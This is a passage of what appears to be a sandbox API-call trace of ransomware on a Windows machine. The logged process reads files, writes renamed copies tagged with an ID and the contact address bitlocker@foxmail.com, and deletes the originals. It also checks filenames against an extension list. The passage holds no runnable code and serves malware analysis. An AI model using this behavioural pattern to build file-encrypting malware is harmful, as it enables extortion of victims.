services\\as oledb\\10\\cartridges\\sql2000.xsl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.497] GetLastError () returned 0x0 [0060.497] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x851c, lpOverlapped=0x0) returned 1 [0060.501] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x8520, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x8520, lpOverlapped=0x0) returned 1 [0060.503] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.503] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0060.503] SetEndOfFile (hFile=0x1a4) returned 1 [0060.503] CloseHandle (hObject=0x1a4) returned 1 [0060.503] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.503] SetEndOfFile (hFile=0x200) returned 1 [0060.504] CloseHandle (hObject=0x200) returned 1 [0060.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.504] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 1 [0060.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0060.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0060.505] lstrlenW (lpString=".doc") returned 4 [0060.505] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0060.505] lstrlenW (lpString=".docx") returned 5 [0060.505] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0060.505] lstrlenW (lpString=".pdf") returned 4 [0060.505] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0060.505] lstrlenW (lpString=".xls") returned 4 [0060.505] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0060.505] lstrlenW (lpString=".xlsx") returned 5 [0060.505] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0060.505] lstrlenW (lpString=".ppt") returned 4 [0060.505] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0060.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0060.505] lstrlenW (lpString=".zip") returned 4 [0060.505] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0060.505] lstrlenW (lpString=".rar") returned 4 [0060.505] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0060.505] lstrlenW (lpString=".bz2") returned 4 [0060.505] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0060.505] lstrlenW (lpString=".7z") returned 3 [0060.505] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0060.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0060.505] lstrlenW (lpString=".dbf") returned 4 [0060.505] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0060.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0060.505] lstrlenW (lpString=".1cd") returned 4 [0060.505] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0060.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0060.505] lstrlenW (lpString=".jpg") returned 4 [0060.505] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0060.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0060.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0060.505] lstrlenW (lpString=".doc") returned 4 [0060.506] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0060.506] lstrlenW (lpString=".docx") returned 5 [0060.506] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0060.506] lstrlenW (lpString=".pdf") returned 4 [0060.506] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0060.506] lstrlenW (lpString=".xls") returned 4 [0060.506] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0060.506] lstrlenW (lpString=".xlsx") returned 5 [0060.506] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0060.506] lstrlenW (lpString=".ppt") returned 4 [0060.506] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0060.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0060.506] lstrlenW (lpString=".zip") returned 4 [0060.506] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0060.506] lstrlenW (lpString=".rar") returned 4 [0060.506] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0060.506] lstrlenW (lpString=".bz2") returned 4 [0060.506] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0060.506] lstrlenW (lpString=".7z") returned 3 [0060.506] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0060.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0060.506] lstrlenW (lpString=".dbf") returned 4 [0060.506] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0060.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0060.506] lstrlenW (lpString=".1cd") returned 4 [0060.506] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0060.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0060.506] lstrlenW (lpString=".jpg") returned 4 [0060.506] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0060.506] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.506] lstrlenW (lpString="AG00004_.GIF") returned 12 [0060.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0060.508] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=9024) returned 1 [0060.508] CloseHandle (hObject=0x200) returned 1 [0060.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 0x20 [0060.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0060.509] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.509] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.509] GetLastError () returned 0x0 [0060.509] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x2340, lpOverlapped=0x0) returned 1 [0060.529] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x2350, lpOverlapped=0x0) returned 1 [0060.530] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.530] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.530] SetEndOfFile (hFile=0x1a4) returned 1 [0060.530] CloseHandle (hObject=0x1a4) returned 1 [0060.530] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.530] SetEndOfFile (hFile=0x200) returned 1 [0060.531] CloseHandle (hObject=0x200) returned 1 [0060.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.531] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 1 [0060.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0060.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0060.532] lstrlenW (lpString=".doc") returned 4 [0060.532] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.532] lstrlenW (lpString=".docx") returned 5 [0060.532] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.532] lstrlenW (lpString=".pdf") returned 4 [0060.532] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.532] lstrlenW (lpString=".xls") returned 4 [0060.532] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.532] lstrlenW (lpString=".xlsx") returned 5 [0060.532] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.532] lstrlenW (lpString=".ppt") returned 4 [0060.532] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0060.532] lstrlenW (lpString=".zip") returned 4 [0060.532] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.532] lstrlenW (lpString=".rar") returned 4 [0060.532] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.532] lstrlenW (lpString=".bz2") returned 4 [0060.532] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.532] lstrlenW (lpString=".7z") returned 3 [0060.532] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0060.532] lstrlenW (lpString=".dbf") returned 4 [0060.532] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0060.532] lstrlenW (lpString=".1cd") returned 4 [0060.532] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0060.532] lstrlenW (lpString=".jpg") returned 4 [0060.532] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0060.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0060.533] lstrlenW (lpString=".doc") returned 4 [0060.533] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.533] lstrlenW (lpString=".docx") returned 5 [0060.533] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.533] lstrlenW (lpString=".pdf") returned 4 [0060.533] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.533] lstrlenW (lpString=".xls") returned 4 [0060.533] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.533] lstrlenW (lpString=".xlsx") returned 5 [0060.533] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.533] lstrlenW (lpString=".ppt") returned 4 [0060.533] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0060.533] lstrlenW (lpString=".zip") returned 4 [0060.533] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.533] lstrlenW (lpString=".rar") returned 4 [0060.533] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.533] lstrlenW (lpString=".bz2") returned 4 [0060.533] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.533] lstrlenW (lpString=".7z") returned 3 [0060.533] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0060.533] lstrlenW (lpString=".dbf") returned 4 [0060.533] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0060.533] lstrlenW (lpString=".1cd") returned 4 [0060.533] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0060.533] lstrlenW (lpString=".jpg") returned 4 [0060.533] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.534] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.534] lstrlenW (lpString="AG00037_.GIF") returned 12 [0060.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0060.534] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=6684) returned 1 [0060.534] CloseHandle (hObject=0x200) returned 1 [0060.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 0x20 [0060.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0060.534] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.534] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.534] GetLastError () returned 0x0 [0060.535] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x1a1c, lpOverlapped=0x0) returned 1 [0060.554] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x1a20, lpOverlapped=0x0) returned 1 [0060.555] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.555] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.555] SetEndOfFile (hFile=0x1a4) returned 1 [0060.555] CloseHandle (hObject=0x1a4) returned 1 [0060.555] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.555] SetEndOfFile (hFile=0x200) returned 1 [0060.556] CloseHandle (hObject=0x200) returned 1 [0060.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 1 [0060.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0060.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0060.557] lstrlenW (lpString=".doc") returned 4 [0060.557] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.557] lstrlenW (lpString=".docx") returned 5 [0060.557] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.557] lstrlenW (lpString=".pdf") returned 4 [0060.557] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.557] lstrlenW (lpString=".xls") returned 4 [0060.557] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.557] lstrlenW (lpString=".xlsx") returned 5 [0060.557] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.557] lstrlenW (lpString=".ppt") returned 4 [0060.557] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0060.557] lstrlenW (lpString=".zip") returned 4 [0060.557] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.557] lstrlenW (lpString=".rar") returned 4 [0060.557] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.557] lstrlenW (lpString=".bz2") returned 4 [0060.557] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.557] lstrlenW (lpString=".7z") returned 3 [0060.557] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0060.557] lstrlenW (lpString=".dbf") returned 4 [0060.557] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0060.557] lstrlenW (lpString=".1cd") returned 4 [0060.557] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0060.557] lstrlenW (lpString=".jpg") returned 4 [0060.557] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0060.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0060.557] lstrlenW (lpString=".doc") returned 4 [0060.558] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.558] lstrlenW (lpString=".docx") returned 5 [0060.558] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.558] lstrlenW (lpString=".pdf") returned 4 [0060.558] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.558] lstrlenW (lpString=".xls") returned 4 [0060.558] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.558] lstrlenW (lpString=".xlsx") returned 5 [0060.558] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.558] lstrlenW (lpString=".ppt") returned 4 [0060.558] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0060.558] lstrlenW (lpString=".zip") returned 4 [0060.558] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.558] lstrlenW (lpString=".rar") returned 4 [0060.558] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.558] lstrlenW (lpString=".bz2") returned 4 [0060.558] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.558] lstrlenW (lpString=".7z") returned 3 [0060.558] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0060.558] lstrlenW (lpString=".dbf") returned 4 [0060.558] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0060.558] lstrlenW (lpString=".1cd") returned 4 [0060.558] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0060.558] lstrlenW (lpString=".jpg") returned 4 [0060.558] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.558] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.558] lstrlenW (lpString="AG00052_.GIF") returned 12 [0060.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0060.559] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=7686) returned 1 [0060.559] CloseHandle (hObject=0x200) returned 1 [0060.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 0x20 [0060.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0060.559] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.559] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.559] GetLastError () returned 0x0 [0060.559] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, 